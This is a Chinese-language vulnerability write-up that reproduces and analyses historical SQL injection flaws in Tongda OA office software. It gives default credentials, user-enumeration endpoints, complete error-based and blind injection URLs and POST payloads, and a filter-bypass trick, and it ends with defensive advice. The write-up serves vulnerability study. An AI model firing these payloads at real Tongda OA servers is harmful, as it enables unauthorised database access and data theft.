漏洞分析|某OA历史漏洞复现分析
字数 2061 2025-08-29 08:30:36
通达OA历史漏洞复现与分析教学文档
一、通达OA简介
通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台。
环境搭建
安装包下载地址:
-
官方下载(通过枚举版本号):
- https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe
- https://www.tongda2000.com/download/down.php?VERSION=2019&code=
-
百度网盘下载:
- 链接: https://pan.baidu.com/s/16Ie3yegEjdb--jabA0Zsxg
- 提取码: 4g6i
默认账号密码:admin/(空)
代码解密工具:http://dezend.qiling.org/free/
二、信息收集
1. 版本信息
- /inc/expired.php
- /inc/reg_trial.php
- /inc/reg_trial_submit.php
2. 计算机名(需高于2013版本)
- /resque/worker.php
3. 用户名&邮箱枚举(需高于2013版本)
- /ispirit/retrieve_pwd.php?username=要枚举的用户
- 存在的用户
- 不存在的用户
三、通达OA2013漏洞分析
1. /interface/ugo.php 报错注入
漏洞复现:
/interface/ugo.php?OA_USER=a%2527%20and%201=(select%201%20from(select%20count(*),concat((select%20database()),0x7c,user(),0x7c,floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x%20limit%200,1)a)%20and%20%25271%2527=%25271
漏洞分析:
- 定位到/interface/ugo.php,使用函数urldecode解析$OA_USER
- 调用ext_login_check方法处理$OA_USER
- ext_login_check方法直接拼接并调用exequery执行SQL
- exequery方法在inc/conn.php文件中定义
- 过滤了union select、info outfile和into dumpfile
2. /interface/auth.php 报错注入
漏洞复现:
/interface/auth.php?&PASSWORD=1&USER_ID=%df%27 and (select 1 from (select count(*),concat((select concat(0x3a,(select database()),0x3a) from user limit 1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
漏洞分析:
- 定位到/interface/auth.php
- 对USER_ID进行了字符替换过滤(单引号等)
- 直接拼接USER_ID到SQL语句中执行
3. /interface/go.php 报错注入
漏洞复现:
/interface/go.php?APP_UNIT=a%2527 and 1=(select 1 from (select count(*),concat(database(),0x7c,user(),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a) and %25271%2527=%25271
漏洞分析:
- 定位到/interface/go.php
- 对OA_USER和APP_UNIT进行了字符替换过滤
- 直接拼接APP_UNIT到SQL语句中执行
- OA_USER参数同样存在注入风险
四、通达OA2015漏洞分析
/ispirit/retrieve_pwd.php 盲注
漏洞复现:
- 判断是否存在注入:
/ispirit/retrieve_pwd.php?_GET[username]=admin'or 1=1 and'a'='a - 判断数据库长度为5:
/ispirit/retrieve_pwd.php?_GET[username]=admin' or if((length(database())=5),1,power(88888,88)) and'a'='a - 判断数据库是否为td_oa:
/ispirit/retrieve_pwd.php?_GET[username]=admin'or if((database()='td_oa'),1,power(888888,88))and'a'='a
漏洞分析:
- 定位到/ispirit/retrieve_pwd.php
- 直接拼接username到SQL语句中
- 调用exequery方法执行
- exequery调用db_query方法,其中包含sql_injection检测
- sql_injection方法进行了黑名单校验(union、sleep、benchmark等)
五、通达OA2017漏洞分析
/general/document/index.php/setting/keywords/index 布尔盲注
漏洞复现:
POST数据包:
_SERVER[QUERY_STRING]=kname=1'+and@`'`+or+if(substr(user(),1,1)='r',1,exp(710))#
漏洞分析:
- 定位到general/document/index.php
- 框架结构:controllers/文件/方法
- 具体路径:\webroot\general\document\controllers\setting\keywords.php的index方法
- 调用_get_where方法处理参数
- _get_where方法使用parse_str解析$_SERVER['QUERY_STRING']
- 直接拼接kname和category到SQL语句中
- 调用mkeyword的get_keywords_count方法执行SQL
关键绕过技术:
- 使用
@和反引号`绕过过滤@表示设置一个变量- 反引号是转义符
- 绕过原理:
- sql_injection方法将单引号内的内容替换为\(s\)
- 通过
@和反引号使后面的语句不被检测
- 完整SQL语句:
select count(*) as total from doc_keywords where 1=1 and category='1' and@`'` or if(substr(user(),1,4)='root',1,exp(710))#'
category参数同样存在注入:
_SERVER%5BQUERY_STRING%5D=category%3D1%27%2Band%40%60%27%60%2Bor%2Bif%28substr%28user%28%29%2C1%2C4%29%3D%27root%27%2C1%2Cexp%28710%29%29%23
MySQL监控工具:
- https://github.com/jdr2021/MysqlLogQuery
六、总结
- 通达OA多个版本存在SQL注入漏洞
- 注入点主要出现在参数直接拼接SQL语句的地方
- 2017版本的绕过技术尤为精妙,利用
@和反引号组合绕过过滤 - 漏洞挖掘思路:
- 查找参数直接拼接SQL的地方
- 分析过滤机制,寻找绕过方法
- 尝试不同参数和位置
七、防御建议
- 使用参数化查询或预处理语句
- 对用户输入进行严格的过滤和转义
- 最小化数据库用户权限
- 及时更新到最新版本,修复已知漏洞